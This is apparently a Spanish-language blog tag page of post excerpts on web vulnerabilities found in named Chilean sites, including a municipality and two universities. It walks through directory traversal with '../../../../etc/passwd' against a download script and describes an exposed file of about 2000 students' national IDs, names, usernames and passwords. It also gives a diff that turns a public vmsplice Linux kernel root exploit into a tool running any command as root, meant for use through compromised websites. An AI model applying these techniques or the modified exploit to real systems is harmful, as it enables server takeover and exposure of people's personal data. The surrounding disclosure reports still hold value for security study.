Etiquetavulnerabilidad

La vulnerabilidad Full Path Disclosure …

fpd

Según OWASP:

Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a SQL Injection) query to view the page source, require the attacker to have the full path to the file they wish to view.

Según Acunetix:

Description
By injecting unexpected data into a parameter. it’s possible to generate an error that will reveal the full path of the script.

Impact
A remote user can determine the full path to the web root directory and other potentially sensitive information.

Si bien esta vulnerabilidad no es peligrosa, es una ayuda para obtener información que nos permitirá a explotar otro tipo de vulnerabilidades como por ejemplo Local File Include, por ejemplo en el caso que publiqué hace un tiempo del sitio de Veramonte, en el cual la combiné con una Directory Traversal.

Seguir leyendo

Explotando una vulnerabilidad Full Path Disclosure+Directory Transversal

Antes de mostar cualquier cosa quiero dejar en claro que todo lo que leerán de aquí en adelante es sólo con fines educativos, si tu eres un hacker malo que le encanta hacer cosas feas a los sitios con este tipo de fallas tan estúpidas comunes, este documento no es para ti, asi que vete maldito delincuente hacker inescrupuloso.

directory-trans

Habien dicho todo esto, llego el momento de la acción. Wanna rock?

Seguir leyendo

Explotando vulnerabilidades LFI y Directory Transversal en un sitio web

unprotectedUna vulnerabilidad LFI o Directory Transversal puede comprometer todo un servidor, no solo la cuenta del sitio que tiene la vulnerabilidad. Estas vulnerabilidades ocurren cuando se parsea una variable y el contenido de ésta es incluido o leído directamente, ya sea usando una función “include”, “fread”, “file”, etc.

Son vulnerabilidades muy comunes y comprometen a todo el servidor, si un atacante con las capacidades necesarias puede obtener acceso al servidor hatsa ganar root.

Les voy a mostrar cómo hacerlo y el impacto que puede llegar a tener.
El sitio elegido es el de la “Ilustre Municipalidad de Castro”, sitio hecho en ASP puaj.

Antes de publicar todo esto, me di el trabajo de comunicarlo a los encagrados del sitio web sin obtener respuesta, por lo que asumo que no les interesa la seguridad y asi como yo, cualquier persona podría hacerle algo al sitio web o al servidor, asi que me di la libertad de tomar este sitio como ejemplo didactico.

Seguir leyendo

Información sensible expuesta publicamente en la UCV

Al igual que en el post anterior, que hablaba sobre la vulnerabilidad en uno de los sitios de la Universidad de Chile, esta vez es el turno de la Universidad Catolica de Valparaiso (UCV), especificamente el campus virtual.

Al parecer el sitio estaba en mantenimiento ya que me encontre con varios mensajes que del tipo “Este sitio esta en mantencion“, pero esto no es excusa. Dejar un directorio que contiene informacion sensible de clientes, empleados, empresa, alumnos, etc no puede estar publicado en internet con permisos de listar directorio habilitado. Existen varias formas de proteger el contenido de un directorio desde la configuracion del fichero .htaccess hasta algo tan simple como el crear un index.php|html|htm vacios, sin dejar de lado que se puede hacer agregado reglas de acceso a la configuracion del dominio.

Bueno, encontré un directorio con información sensible de alumnos de esa Universidad, quizas la informacion es un poco antigua pero que importa eso si ni el nombre ni el rut de las personas cambia. Intenté comunicar con la webmaster del sitio pero no obtuve respuesta.

En este caso, se han expuesto en internet datos de aproximadamente 2000 alumnos.


Informacion hecha publica por la UCV

Informacion hecha publica por la UCV

En esa imagen podemos ver un poco de la informacion que aparece en el directorio vulnerable. Es un fichero separado por gatos (###) donde podemos ver que lo mas interesante son las columnas 3, 4, 5 y 6 que corresponden al rut, nombre completo de la persona, nombre de usuario y password respectivamente.

Seguir leyendo

Vulnerabilidad en un sitio de la Universidad de Chile

Se trata del sitio de la biblioteca virtual de la Facultad de Economia y Negocios (FEN) de la Universidad de Chile. Hace un par de dias descubri una vulnerabilidad del tipo path disclosure en https://bibliodoc.fen.uchile.cl.

La forma de explotar este fallo era iniciar sesion con cualquier usuario y buscar algun documento, cuando acercabamos el mouse hacia el link podiamos ver:

uchile-path

Si modificabamos ese link, remplazando documento para descargar.pdf por alguna ruta a un archivo de sistema, podremos descargarlo. Por ejemplo

uchile-path1

Con ../../../../ nos aseguramos retroceder lo suficiente para llegar a la raiz y con /etc/passwd le decimos al script download.php que nos entregue el fichero passwd, que guarda la informacion de usuarios de sistema. Obteniendo lo siguiente:

uchile-path2

Dias despues de explotar y confirmar esta vulnerabilidad, me di el trabajo de comunicarles a los de soporte de ese sitio sobre este fallo obteniendo una respuesta en poco tiempo. Estaban muy agradecidos por haberles comunicado el problema. En unos minutos me agrego a gtalk/jabber el desarrollador del portal y me hizo unas preguntas, para saber como habia logrado explotar esa vulnerabilidad y en que consistia y, luego de haberle respondido algunas preguntas y haberlo ayudado, rapidamente solucionó el problema.

Las vulnerabilidades de tipo file/path disclosure son aquellas donde de alguna u otra forma podemos acceder a archivos del sistema que estan fuera del path de la web, como en este caso, por ejemplo si la web hubiese estado en /var/www/bibliodoc, mediante este bug pudimos acceder a un archivo ubicado en /etc/ que, claramente, esta fuera del directorio.

root exploit: Ejecutar comando como root

Hace un tiempo se dio a conocer un bug que afectaba a las versiones 2.6.17 – 2.6.24.1 del Kernel de Linux. Se publicaron distintas variantes del exploit que nos permitia escalar privilegios y ganar acceso root a una maquina con solo ejecutar el exploit.
Tuve la idea de modificar uno de estos codigos publicados para poder explotar la vulnerabilidad a traves de la web. Esto se me ocurrio debido a la experiencia en intrusion en servidores, sabiendo que muchos usan versiones de kernel antiguos o que no estan parcheadas.

root-exploit.diff

  1. 51a52
  2. > char  *_cmd;
  3. 55d55
  4. < printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
  5. 182,183d181
  6. <
  7. <       printf("[+] root\n");
  8. 185c183,184
  9. <       execl("/bin/bash", "bash", "-i", NULL);
  10. >       system(_cmd);
  11. >       //execl("/bin/bash", "bash", "-i", NULL);
  12. 195a195
  13. >       _cmd = argv[1];
  14. 202,205d201
  15. < printf("———————————–\n");
  16. <       printf(" Linux vmsplice Local Root Exploit\n");
  17. <       printf(" By qaaz\n");
  18. <       printf("———————————–\n");
  19. 221,223d216
  20. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  21. <       printf("[+] page: 0x%lx\n", pages[0]);
  22. <       printf("[+] page: 0x%lx\n", pages[1]);
  23. 241,243d233
  24. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  25. <       printf("[+] page: 0x%lx\n", pages[2]);
  26. <       printf("[+] page: 0x%lx\n", pages[3]);
  27. 258,259d247
  28. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  29. <       printf("[+] page: 0x%lx\n", pages[4]);
  30. 269d256
  31. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size)

La modificacion que hago es eliminar todos los printf para que el resultado sea mas limpio ademas, tambien modifico el codigo para que ejecute el comando que nosotros le digamos y luego vuelva a su estado normal.

Demostracion

username@machine:~$ ./root-exploit whoami
root
username@machine:~$

Seguir leyendo